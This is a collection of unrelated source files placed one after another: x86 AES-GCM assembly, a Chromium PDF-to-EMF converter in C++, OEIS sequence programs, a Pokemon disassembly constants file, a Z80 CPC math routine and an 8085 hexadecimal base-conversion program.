;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; output r13 Bytes
vmovq rax, xmm9
cmp r13, 8
jle %%_less_than_8_bytes_left
mov [%%CYPH_PLAIN_OUT + %%DATA_OFFSET], rax
add %%DATA_OFFSET, 8
vpsrldq xmm9, xmm9, 8
vmovq rax, xmm9
sub r13, 8
%%_less_than_8_bytes_left:
mov BYTE [%%CYPH_PLAIN_OUT + %%DATA_OFFSET], al
add %%DATA_OFFSET, 1
shr rax, 8
sub r13, 1
jne %%_less_than_8_bytes_left
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%%_multiple_of_16_bytes:
%endmacro
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; GCM_COMPLETE Finishes Encyrption/Decryption of last partial block after GCM_UPDATE finishes.
; Input: struct gcm_key_data* (GDATA_KEY), struct gcm_context_data *(GDATA_CTX) and
; whether encoding or decoding (ENC_DEC).
; Output: Authorization Tag (AUTH_TAG) and Authorization Tag length (AUTH_TAG_LEN)
; Clobbers rax, r10-r12, and xmm0, xmm1, xmm5, xmm6, xmm9, xmm11, xmm14, xmm15
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%macro GCM_COMPLETE 5
%define %%GDATA_KEY %1
%define %%GDATA_CTX %2
%define %%AUTH_TAG %3
%define %%AUTH_TAG_LEN %4
%define %%ENC_DEC %5
%define %%PLAIN_CYPH_LEN rax
mov r12, [%%GDATA_CTX + PBlockLen]
vmovdqu xmm14, [%%GDATA_CTX + AadHash]
vmovdqu xmm13, [%%GDATA_KEY + HashKey]
cmp r12, 0
je %%_partial_done
GHASH_MUL xmm14, xmm13, xmm0, xmm10, xmm11, xmm5, xmm6 ;GHASH computation for the last <16 Byte block
vmovdqu [%%GDATA_CTX + AadHash], xmm14
%%_partial_done:
mov r12, [%%GDATA_CTX + AadLen] ; r12 = aadLen (number of bytes)
mov %%PLAIN_CYPH_LEN, [%%GDATA_CTX + InLen]
shl r12, 3 ; convert into number of bits
vmovd xmm15, r12d ; len(A) in xmm15
shl %%PLAIN_CYPH_LEN, 3 ; len(C) in bits (*128)
vmovq xmm1, %%PLAIN_CYPH_LEN
vpslldq xmm15, xmm15, 8 ; xmm15 = len(A)|| 0x0000000000000000
vpxor xmm15, xmm1 ; xmm15 = len(A)||len(C)
vpxor xmm14, xmm15
GHASH_MUL xmm14, xmm13, xmm0, xmm10, xmm11, xmm5, xmm6 ; final GHASH computation
vpshufb xmm14, [SHUF_MASK] ; perform a 16Byte swap
vmovdqu xmm9, [%%GDATA_CTX + OrigIV] ; xmm9 = Y0
ENCRYPT_SINGLE_BLOCK %%GDATA_KEY, xmm9 ; E(K, Y0)
vpxor xmm9, xmm14
%%_return_T:
mov r10, %%AUTH_TAG ; r10 = authTag
mov r11, %%AUTH_TAG_LEN ; r11 = auth_tag_len
cmp r11, 16
je %%_T_16
cmp r11, 12
je %%_T_12
cmp r11, 8
je %%_T_8
simd_store_avx r10, xmm9, r11, r12, rax
jmp %%_return_T_done
%%_T_8:
vmovq rax, xmm9
mov [r10], rax
jmp %%_return_T_done
%%_T_12:
vmovq rax, xmm9
mov [r10], rax
vpsrldq xmm9, xmm9, 8
vmovd eax, xmm9
mov [r10 + 8], eax
jmp %%_return_T_done
%%_T_16:
vmovdqu [r10], xmm9
%%_return_T_done:
%endmacro ; GCM_COMPLETE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;void aes_gcm_precomp_128_avx_gen2
; (struct gcm_key_data *key_data);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MKGLOBAL(FN_NAME(precomp,_),function,)
FN_NAME(precomp,_):
push r12
push r13
push r14
push r15
mov r14, rsp
sub rsp, VARIABLE_OFFSET
and rsp, ~63 ; align rsp to 64 bytes
%ifidn __OUTPUT_FORMAT__, win64
; only xmm6 needs to be maintained
vmovdqu [rsp + LOCAL_STORAGE + 0*16],xmm6
%endif
vpxor xmm6, xmm6
ENCRYPT_SINGLE_BLOCK arg1, xmm6 ; xmm6 = HashKey
vpshufb xmm6, [SHUF_MASK]
;;;;;;;;;;;;;;; PRECOMPUTATION of HashKey<<1 mod poly from the HashKey;;;;;;;;;;;;;;;
vmovdqa xmm2, xmm6
vpsllq xmm6, 1
vpsrlq xmm2, 63
vmovdqa xmm1, xmm2
vpslldq xmm2, xmm2, 8
vpsrldq xmm1, xmm1, 8
vpor xmm6, xmm2
;reduction
vpshufd xmm2, xmm1, 00100100b
vpcmpeqd xmm2, [TWOONE]
vpand xmm2, [POLY]
vpxor xmm6, xmm2 ; xmm6 holds the HashKey<<1 mod poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
vmovdqu [arg1 + HashKey], xmm6 ; store HashKey<<1 mod poly
PRECOMPUTE arg1, xmm6, xmm0, xmm1, xmm2, xmm3, xmm4, xmm5
%ifidn __OUTPUT_FORMAT__, win64
vmovdqu xmm6, [rsp + LOCAL_STORAGE + 0*16]
%endif
mov rsp, r14
pop r15
pop r14
pop r13
pop r12
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;void aes_gcm_init_128_avx_gen2(
; const struct gcm_key_data *key_data,
; struct gcm_context_data *context_data,
; u8 *iv,
; const u8 *aad,
; u64 aad_len);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MKGLOBAL(FN_NAME(init,_),function,)
FN_NAME(init,_):
push r12
push r13
%ifidn __OUTPUT_FORMAT__, win64
push r14
push r15
mov r14, rsp
; xmm6:xmm15 need to be maintained for Windows
sub rsp, 1*16
movdqu [rsp + 0*16], xmm6
%endif
GCM_INIT arg1, arg2, arg3, arg4, arg5
%ifidn __OUTPUT_FORMAT__, win64
movdqu xmm6 , [rsp + 0*16]
mov rsp, r14
pop r15
pop r14
%endif
pop r13
pop r12
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;void aes_gcm_enc_128_update_avx_gen2(
; const struct gcm_key_data *key_data,
; struct gcm_context_data *context_data,
; u8 *out,
; const u8 *in,
; u64 plaintext_len);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MKGLOBAL(FN_NAME(enc,_update_),function,)
FN_NAME(enc,_update_):
FUNC_SAVE
GCM_ENC_DEC arg1, arg2, arg3, arg4, arg5, ENC
FUNC_RESTORE
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;void aes_gcm_dec_128_update_avx_gen2(
; const struct gcm_key_data *key_data,
; struct gcm_context_data *context_data,
; u8 *out,
; const u8 *in,
; u64 plaintext_len);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MKGLOBAL(FN_NAME(dec,_update_),function,)
FN_NAME(dec,_update_):
FUNC_SAVE
GCM_ENC_DEC arg1, arg2, arg3, arg4, arg5, DEC
FUNC_RESTORE
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;void aes_gcm_enc_128_finalize_avx_gen2(
; const struct gcm_key_data *key_data,
; struct gcm_context_data *context_data,
; u8 *auth_tag,
; u64 auth_tag_len);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MKGLOBAL(FN_NAME(enc,_finalize_),function,)
FN_NAME(enc,_finalize_):
push r12
%ifidn __OUTPUT_FORMAT__, win64
; xmm6:xmm15 need to be maintained for Windows
sub rsp, 5*16
vmovdqu [rsp + 0*16],xmm6
vmovdqu [rsp + 1*16],xmm9
vmovdqu [rsp + 2*16],xmm11
vmovdqu [rsp + 3*16],xmm14
vmovdqu [rsp + 4*16],xmm15
%endif
GCM_COMPLETE arg1, arg2, arg3, arg4, ENC
%ifidn __OUTPUT_FORMAT__, win64
vmovdqu xmm15 , [rsp + 4*16]
vmovdqu xmm14 , [rsp + 3*16]
vmovdqu xmm11 , [rsp + 2*16]
vmovdqu xmm9 , [rsp + 1*16]
vmovdqu xmm6 , [rsp + 0*16]
add rsp, 5*16
%endif
pop r12
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;void aes_gcm_dec_128_finalize_avx_gen2(
; const struct gcm_key_data *key_data,
; struct gcm_context_data *context_data,
; u8 *auth_tag,
; u64 auth_tag_len);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MKGLOBAL(FN_NAME(dec,_finalize_),function,)
FN_NAME(dec,_finalize_):
push r12
%ifidn __OUTPUT_FORMAT__, win64
; xmm6:xmm15 need to be maintained for Windows
sub rsp, 5*16
vmovdqu [rsp + 0*16],xmm6
vmovdqu [rsp + 1*16],xmm9
vmovdqu [rsp + 2*16],xmm11
vmovdqu [rsp + 3*16],xmm14
vmovdqu [rsp + 4*16],xmm15
%endif
GCM_COMPLETE arg1, arg2, arg3, arg4, DEC
%ifidn __OUTPUT_FORMAT__, win64
vmovdqu xmm15 , [rsp + 4*16]
vmovdqu xmm14 , [rsp + 3*16]
vmovdqu xmm11 , [rsp + 2*16]
vmovdqu xmm9 , [rsp + 1*16]
vmovdqu xmm6 , [rsp + 0*16]
add rsp, 5*16
%endif
pop r12
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;void aes_gcm_enc_128_avx_gen2(
; const struct gcm_key_data *key_data,
; struct gcm_context_data *context_data,
; u8 *out,
; const u8 *in,
; u64 plaintext_len,
; u8 *iv,
; const u8 *aad,
; u64 aad_len,
; u8 *auth_tag,
; u64 auth_tag_len);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MKGLOBAL(FN_NAME(enc,_),function,)
FN_NAME(enc,_):
FUNC_SAVE
GCM_INIT arg1, arg2, arg6, arg7, arg8
GCM_ENC_DEC arg1, arg2, arg3, arg4, arg5, ENC
GCM_COMPLETE arg1, arg2, arg9, arg10, ENC
FUNC_RESTORE
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;void aes_gcm_dec_128_avx_gen2(
; const struct gcm_key_data *key_data,
; struct gcm_context_data *context_data,
; u8 *out,
; const u8 *in,
; u64 plaintext_len,
; u8 *iv,
; const u8 *aad,
; u64 aad_len,
; u8 *auth_tag,
; u64 auth_tag_len);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MKGLOBAL(FN_NAME(dec,_),function,)
FN_NAME(dec,_):
FUNC_SAVE
GCM_INIT arg1, arg2, arg6, arg7, arg8
GCM_ENC_DEC arg1, arg2, arg3, arg4, arg5, DEC
GCM_COMPLETE arg1, arg2, arg9, arg10, DEC
FUNC_RESTORE
ret
%ifdef LINUX
section .note.GNU-stack noalloc noexec nowrite progbits
%endif
|
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/services/printing/pdf_to_emf_converter.h"
#include <algorithm>
#include <limits>
#include <utility>
#include "base/bind.h"
#include "base/containers/span.h"
#include "base/lazy_instance.h"
#include "base/stl_util.h"
#include "mojo/public/cpp/bindings/remote.h"
#include "pdf/pdf.h"
#include "printing/emf_win.h"
#include "ui/gfx/gdi_util.h"
namespace printing {
namespace {
base::LazyInstance<std::vector<mojo::Remote<mojom::PdfToEmfConverterClient>>>::
Leaky g_converter_clients = LAZY_INSTANCE_INITIALIZER;
void PreCacheFontCharacters(const LOGFONT* logfont,
const wchar_t* text,
size_t text_length) {
if (g_converter_clients.Get().empty()) {
NOTREACHED()
<< "PreCacheFontCharacters when no converter client is registered.";
return;
}
// We pass the LOGFONT as an array of bytes for simplicity (no typemaps
// required).
std::vector<uint8_t> logfont_mojo(sizeof(LOGFONT));
memcpy(logfont_mojo.data(), logfont, sizeof(LOGFONT));
g_converter_clients.Get().front()->PreCacheFontCharacters(
logfont_mojo, base::string16(text, text_length));
}
void OnConvertedClientDisconnected() {
// We have no direct way of tracking which
// mojo::Remote<PdfToEmfConverterClient> got disconnected as it is a movable
// type, short of using a wrapper. Just traverse the list of clients and
// remove the ones that are not bound.
base::EraseIf(g_converter_clients.Get(),
[](const mojo::Remote<mojom::PdfToEmfConverterClient>& client) {
return !client.is_bound();
});
}
void RegisterConverterClient(
mojo::PendingRemote<mojom::PdfToEmfConverterClient> client_remote) {
if (!g_converter_clients.IsCreated()) {
// First time this method is called.
chrome_pdf::SetPDFEnsureTypefaceCharactersAccessible(
PreCacheFontCharacters);
}
mojo::Remote<mojom::PdfToEmfConverterClient> client(std::move(client_remote));
client.set_disconnect_handler(base::BindOnce(&OnConvertedClientDisconnected));
g_converter_clients.Get().push_back(std::move(client));
}
} // namespace
PdfToEmfConverter::PdfToEmfConverter(
base::ReadOnlySharedMemoryRegion pdf_region,
const PdfRenderSettings& pdf_render_settings,
mojo::PendingRemote<mojom::PdfToEmfConverterClient> client)
: pdf_render_settings_(pdf_render_settings) {
RegisterConverterClient(std::move(client));
SetPrintMode();
LoadPdf(std::move(pdf_region));
}
PdfToEmfConverter::~PdfToEmfConverter() = default;
void PdfToEmfConverter::SetPrintMode() {
chrome_pdf::SetPDFUseGDIPrinting(pdf_render_settings_.mode ==
PdfRenderSettings::Mode::GDI_TEXT);
int printing_mode;
switch (pdf_render_settings_.mode) {
case PdfRenderSettings::Mode::TEXTONLY:
printing_mode = chrome_pdf::PrintingMode::kTextOnly;
break;
case PdfRenderSettings::Mode::POSTSCRIPT_LEVEL2:
printing_mode = chrome_pdf::PrintingMode::kPostScript2;
break;
case PdfRenderSettings::Mode::POSTSCRIPT_LEVEL3:
printing_mode = chrome_pdf::PrintingMode::kPostScript3;
break;
default:
// Not using postscript or text only.
printing_mode = chrome_pdf::PrintingMode::kEmf;
}
chrome_pdf::SetPDFUsePrintMode(printing_mode);
}
void PdfToEmfConverter::LoadPdf(base::ReadOnlySharedMemoryRegion pdf_region) {
if (!pdf_region.IsValid()) {
LOG(ERROR) << "Invalid PDF passed to PdfToEmfConverter.";
return;
}
size_t size = pdf_region.GetSize();
if (size <= 0 || size > std::numeric_limits<int>::max())
return;
pdf_mapping_ = pdf_region.Map();
if (!pdf_mapping_.IsValid())
return;
int page_count = 0;
auto pdf_span = pdf_mapping_.GetMemoryAsSpan<const uint8_t>();
chrome_pdf::GetPDFDocInfo(pdf_span, &page_count, nullptr);
total_page_count_ = page_count;
}
base::ReadOnlySharedMemoryRegion PdfToEmfConverter::RenderPdfPageToMetafile(
int page_number,
bool postscript,
float* scale_factor) {
Emf metafile;
metafile.Init();
// We need to scale down DC to fit an entire page into DC available area.
// Current metafile is based on screen DC and have current screen size.
// Writing outside of those boundaries will result in the cut-off output.
// On metafiles (this is the case here), scaling down will still record
// original coordinates and we'll be able to print in full resolution.
// Before playback we'll need to counter the scaling up that will happen
// in the service (print_system_win.cc).
//
// The postscript driver does not use the metafile size since it outputs
// postscript rather than a metafile. Instead it uses the printable area
// sent to RenderPDFPageToDC to determine the area to render. Therefore,
// don't scale the DC to match the metafile, and send the printer physical
// offsets to the driver.
if (!postscript) {
*scale_factor = gfx::CalculatePageScale(metafile.context(),
pdf_render_settings_.area.right(),
pdf_render_settings_.area.bottom());
gfx::ScaleDC(metafile.context(), *scale_factor);
}
// The underlying metafile is of type Emf and ignores the arguments passed
// to StartPage().
metafile.StartPage(gfx::Size(), gfx::Rect(), 1);
int offset_x = postscript ? pdf_render_settings_.offsets.x() : 0;
int offset_y = postscript ? pdf_render_settings_.offsets.y() : 0;
base::ReadOnlySharedMemoryRegion invalid_emf_region;
auto pdf_span = pdf_mapping_.GetMemoryAsSpan<const uint8_t>();
if (!chrome_pdf::RenderPDFPageToDC(
pdf_span, page_number, metafile.context(),
pdf_render_settings_.dpi.width(), pdf_render_settings_.dpi.height(),
pdf_render_settings_.area.x() - offset_x,
pdf_render_settings_.area.y() - offset_y,
pdf_render_settings_.area.width(), pdf_render_settings_.area.height(),
true, false, true, true, pdf_render_settings_.autorotate,
pdf_render_settings_.use_color)) {
return invalid_emf_region;
}
metafile.FinishPage();
metafile.FinishDocument();
const uint32_t size = metafile.GetDataSize();
base::MappedReadOnlyRegion region_mapping =
base::ReadOnlySharedMemoryRegion::Create(size);
if (!region_mapping.IsValid())
return invalid_emf_region;
if (!metafile.GetData(region_mapping.mapping.memory(), size))
return invalid_emf_region;
return std::move(region_mapping.region);
}
void PdfToEmfConverter::ConvertPage(uint32_t page_number,
ConvertPageCallback callback) {
static constexpr float kInvalidScaleFactor = 0;
base::ReadOnlySharedMemoryRegion invalid_emf_region;
if (page_number >= total_page_count_) {
std::move(callback).Run(std::move(invalid_emf_region), kInvalidScaleFactor);
return;
}
float scale_factor = 1.0f;
bool postscript =
pdf_render_settings_.mode == PdfRenderSettings::Mode::POSTSCRIPT_LEVEL2 ||
pdf_render_settings_.mode == PdfRenderSettings::Mode::POSTSCRIPT_LEVEL3;
base::ReadOnlySharedMemoryRegion emf_region =
RenderPdfPageToMetafile(page_number, postscript, &scale_factor);
std::move(callback).Run(std::move(emf_region), scale_factor);
}
} // namespace printing
|
; A250420: Number of length 3+1 0..n arrays with the sum of the minimum of each adjacent pair multiplied by some arrangement of +-1 equal to zero.
; 10,38,99,205,370,606,927,1345,1874,2526,3315,4253,5354,6630,8095,9761,11642,13750,16099,18701,21570,24718,28159,31905,35970,40366,45107,50205,55674,61526,67775,74433,81514,89030,96995,105421,114322,123710,133599
mov $4,$0
mov $7,$0
mov $0,3
mov $1,1
mov $2,3
lpb $2
add $1,$4
mov $4,$1
lpb $4
add $2,$1
trn $4,$2
lpe
mov $5,2
lpb $5
trn $5,$2
mov $6,$0
add $6,$2
lpe
bin $6,$2
lpb $6
sub $6,$2
sub $2,2
lpe
lpe
mov $1,$6
sub $1,19
add $1,$7
mov $8,$7
mul $8,$7
mov $3,$8
mul $3,7
add $1,$3
mul $8,$7
mov $3,$8
mul $3,2
add $1,$3
|
; A010886: Period 7: repeat [1, 2, 3, 4, 5, 6, 7].
; 1,2,3,4,5,6,7,1,2,3,4,5,6,7,1,2,3,4,5,6,7,1,2,3,4,5,6,7,1,2,3,4,5,6,7,1,2,3,4,5,6,7,1,2,3,4,5,6,7,1,2,3,4,5,6,7,1,2,3,4,5,6,7,1,2,3,4,5,6,7,1,2,3,4,5,6,7,1,2,3,4
mod $0,7
add $0,1
|
; A153972: a(n) = 2^n + 6.
; 7,8,10,14,22,38,70,134,262,518,1030,2054,4102,8198,16390,32774,65542,131078,262150,524294,1048582,2097158,4194310,8388614,16777222,33554438,67108870,134217734,268435462,536870918,1073741830,2147483654,4294967302,8589934598,17179869190,34359738374,68719476742,137438953478,274877906950,549755813894,1099511627782,2199023255558,4398046511110,8796093022214,17592186044422,35184372088838,70368744177670,140737488355334,281474976710662,562949953421318,1125899906842630,2251799813685254,4503599627370502,9007199254740998,18014398509481990,36028797018963974,72057594037927942,144115188075855878,288230376151711750,576460752303423494,1152921504606846982,2305843009213693958,4611686018427387910,9223372036854775814,18446744073709551622,36893488147419103238,73786976294838206470,147573952589676412934,295147905179352825862,590295810358705651718,1180591620717411303430,2361183241434822606854,4722366482869645213702,9444732965739290427398,18889465931478580854790,37778931862957161709574,75557863725914323419142,151115727451828646838278,302231454903657293676550,604462909807314587353094,1208925819614629174706182,2417851639229258349412358,4835703278458516698824710,9671406556917033397649414,19342813113834066795298822,38685626227668133590597638,77371252455336267181195270,154742504910672534362390534,309485009821345068724781062,618970019642690137449562118,1237940039285380274899124230,2475880078570760549798248454,4951760157141521099596496902,9903520314283042199192993798,19807040628566084398385987590,39614081257132168796771975174,79228162514264337593543950342,158456325028528675187087900678,316912650057057350374175801350,633825300114114700748351602694
mov $1,2
pow $1,$0
add $1,6
mov $0,$1
|
[bits 64]
mov dword [l4-l1], 0x0 ; out: c7 04 25 00 00 00 00 00 00 00 00
l4:
l1:
jc short l3 ; out: 72 01
db 0x0 ; out: 00
l3:
|
// Copyright (C) 2020-2022 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
#pragma once
#include <ngraph/pass/graph_rewrite.hpp>
namespace ArmPlugin {
namespace pass {
class ConvertShuffleChannels: public ngraph::pass::MatcherPass {
public:
NGRAPH_RTTI_DECLARATION;
ConvertShuffleChannels();
};
} // namespace pass
} // namespace ArmPlugin
|
;
; CPC Maths Routines
;
; August 2003 **_|warp6|_** <kbaccam /at/ free.fr>
;
; $Id: ifix.asm,v 1.3 2015/01/21 10:56:29 stefano Exp $
;
INCLUDE "cpcfirm.def"
INCLUDE "cpcfp.def"
PUBLIC ifix
PUBLIC ifixc
EXTERN fa
EXTERN int_inv_sgn
.ifix ld hl,fa+1
call firmware
.ifixc defw CPCFP_FLO_2_INT
call m,int_inv_sgn
ret
|
; GetSGBLayout arguments (see engine/gfx/cgb_layouts.asm and engine/gfx/sgb_layouts.asm)
const_def
const SCGB_BATTLE_GRAYSCALE
const SCGB_BATTLE_COLORS
const SCGB_POKEGEAR_PALS
const SCGB_STATS_SCREEN_HP_PALS
const SCGB_POKEDEX
const SCGB_SLOT_MACHINE
const SCGB_BETA_TITLE_SCREEN
const SCGB_GS_INTRO
const SCGB_DIPLOMA
const SCGB_MAPPALS
const SCGB_PARTY_MENU
const SCGB_EVOLUTION
const SCGB_GS_TITLE_SCREEN
const SCGB_0D
const SCGB_MOVE_LIST
const SCGB_BETA_PIKACHU_MINIGAME
const SCGB_POKEDEX_SEARCH_OPTION
const SCGB_BETA_POKER
const SCGB_POKEPIC
const SCGB_MAGNET_TRAIN
const SCGB_PACKPALS
const SCGB_TRAINER_CARD
const SCGB_POKEDEX_UNOWN_MODE
const SCGB_BILLS_PC
const SCGB_UNOWN_PUZZLE
const SCGB_GAMEFREAK_LOGO
const SCGB_PLAYER_OR_MON_FRONTPIC_PALS
const SCGB_TRADE_TUBE
const SCGB_TRAINER_OR_MON_FRONTPIC_PALS
const SCGB_MYSTERY_GIFT
const SCGB_1E
const SCGB_MINING_GAME
const SCGB_INTRO_BOTH_PLAYER_PALS
const SCGB_INTRO_SANDGEM
SCGB_PARTY_MENU_HP_PALS EQU -4
SCGB_RAM EQU -1
; PredefPals indexes (see gfx/sgb/predef.pal)
; GetPredefPal arguments (see engine/gfx/color.asm)
const_def
const PREDEFPAL_00
const PREDEFPAL_PALLET
const PREDEFPAL_VIRIDIAN
const PREDEFPAL_PEWTER
const PREDEFPAL_CERULEAN
const PREDEFPAL_LAVENDER
const PREDEFPAL_VERMILION
const PREDEFPAL_CELADON
const PREDEFPAL_FUCHSIA
const PREDEFPAL_CINNABAR
const PREDEFPAL_SAFFRON
const PREDEFPAL_INDIGO
const PREDEFPAL_NEW_BARK
const PREDEFPAL_CHERRYGROVE
const PREDEFPAL_VIOLET
const PREDEFPAL_AZALEA
const PREDEFPAL_GOLDENROD
const PREDEFPAL_ECRUTEAK
const PREDEFPAL_OLIVINE
const PREDEFPAL_CIANWOOD
const PREDEFPAL_MAHOGANY
const PREDEFPAL_BLACKTHORN
const PREDEFPAL_LAKE_OF_RAGE
const PREDEFPAL_SILVER_CAVE
const PREDEFPAL_DUNGEONS
const PREDEFPAL_NITE
const PREDEFPAL_BLACKOUT
const PREDEFPAL_DIPLOMA ; RB_MEWMON
const PREDEFPAL_TRADE_TUBE ; RB_BLUEMON
const PREDEFPAL_POKEDEX ; RB_REDMON
const PREDEFPAL_RB_CYANMON
const PREDEFPAL_RB_PURPLEMON
const PREDEFPAL_RB_BROWNMON
const PREDEFPAL_RB_GREENMON
const PREDEFPAL_RB_PINKMON
const PREDEFPAL_RB_YELLOWMON
const PREDEFPAL_CGB_BADGE ; RB_GREYMON
const PREDEFPAL_BETA_SHINY_MEWMON
const PREDEFPAL_BETA_SHINY_BLUEMON
const PREDEFPAL_BETA_SHINY_REDMON
const PREDEFPAL_BETA_SHINY_CYANMON
const PREDEFPAL_BETA_SHINY_PURPLEMON
const PREDEFPAL_BETA_SHINY_BROWNMON
const PREDEFPAL_BETA_SHINY_GREENMON
const PREDEFPAL_BETA_SHINY_PINKMON
const PREDEFPAL_BETA_SHINY_YELLOWMON
const PREDEFPAL_PARTY_ICON ; BETA_SHINY_GREYMON
const PREDEFPAL_HP_GREEN
const PREDEFPAL_HP_YELLOW
const PREDEFPAL_HP_RED
const PREDEFPAL_POKEGEAR
const PREDEFPAL_BETA_LOGO_1
const PREDEFPAL_BETA_LOGO_2
const PREDEFPAL_GS_INTRO_GAMEFREAK_LOGO
const PREDEFPAL_GS_INTRO_SHELLDER_LAPRAS
const PREDEFPAL_BETA_INTRO_LAPRAS
const PREDEFPAL_GS_INTRO_JIGGLYPUFF_PIKACHU_BG
const PREDEFPAL_GS_INTRO_JIGGLYPUFF_PIKACHU_OB
const PREDEFPAL_GS_INTRO_STARTERS_TRANSITION
const PREDEFPAL_BETA_INTRO_VENUSAUR
const PREDEFPAL_PACK ; GS_INTRO_CHARIZARD
const PREDEFPAL_SLOT_MACHINE_0
const PREDEFPAL_SLOT_MACHINE_1
const PREDEFPAL_SLOT_MACHINE_2
const PREDEFPAL_SLOT_MACHINE_3
const PREDEFPAL_BETA_POKER_0
const PREDEFPAL_BETA_POKER_1
const PREDEFPAL_BETA_POKER_2
const PREDEFPAL_BETA_POKER_3
const PREDEFPAL_BETA_RADIO
const PREDEFPAL_BETA_POKEGEAR
const PREDEFPAL_47
const PREDEFPAL_GS_TITLE_SCREEN_0
const PREDEFPAL_GS_TITLE_SCREEN_1
const PREDEFPAL_GS_TITLE_SCREEN_2
const PREDEFPAL_GS_TITLE_SCREEN_3
const PREDEFPAL_UNOWN_PUZZLE
const PREDEFPAL_GAMEFREAK_LOGO_OB
const PREDEFPAL_GAMEFREAK_LOGO_BG
; SGB system command codes
; http://gbdev.gg8.se/wiki/articles/SGB_Functions#SGB_System_Command_Table
const_def
const SGB_PAL01
const SGB_PAL23
const SGB_PAL03
const SGB_PAL12
const SGB_ATTR_BLK
const SGB_ATTR_LIN
const SGB_ATTR_DIV
const SGB_ATTR_CHR
const SGB_SOUND
const SGB_SOU_TRN
const SGB_PAL_SET
const SGB_PAL_TRN
const SGB_ATRC_EN
const SGB_TEST_EN
const SGB_ICON_EN
const SGB_DATA_SND
const SGB_DATA_TRN
const SGB_MLT_REG
const SGB_JUMP
const SGB_CHR_TRN
const SGB_PCT_TRN
const SGB_ATTR_TRN
const SGB_ATTR_SET
const SGB_MASK_EN
const SGB_OBJ_TRN
PALPACKET_LENGTH EQU $10
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;HexConv.asm - conversao de base para numeros hexadecimais
;Recebe do teclado um numero hexadecimal de 4 digitos
;Recebe a base de saida (um numero decimal de 2 digitos)
;A base de saida deve estar entre 2 e 16, inclusive
;Converte o numero para essa base; resultado no display
;Campos de enderecos e dados formam um numero de 6 digitos
;Prof. Roberto M. Ziller - 04.01.2000
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
LETECLA EQU 02E7H
MOSTRAD EQU 0363H
MOSTRAA EQU 036EH
ORG 2000H
LXI SP,2100H
LOOP: CALL LENUM16 ; DOIS DIGITOS MAIS SIGNIFICATIVOS
MOV D,A
CALL LENUM16 ; DOIS DIGITOS MENOS SIGNIFICATIVOS
MOV E,A
PUSH D
CALL MOSTRAD ; APRESENTA NUMERO A SER CONVERTIDO
POP D
CALL LENUM10 ; BASE DE SAIDA
MOV C,A
CALL HEXCONV ; CONVERTE. RESULTADO EM D, E e A
PUSH PSW
CALL MOSTRAD
POP PSW
CALL MOSTRAA
JMP LOOP
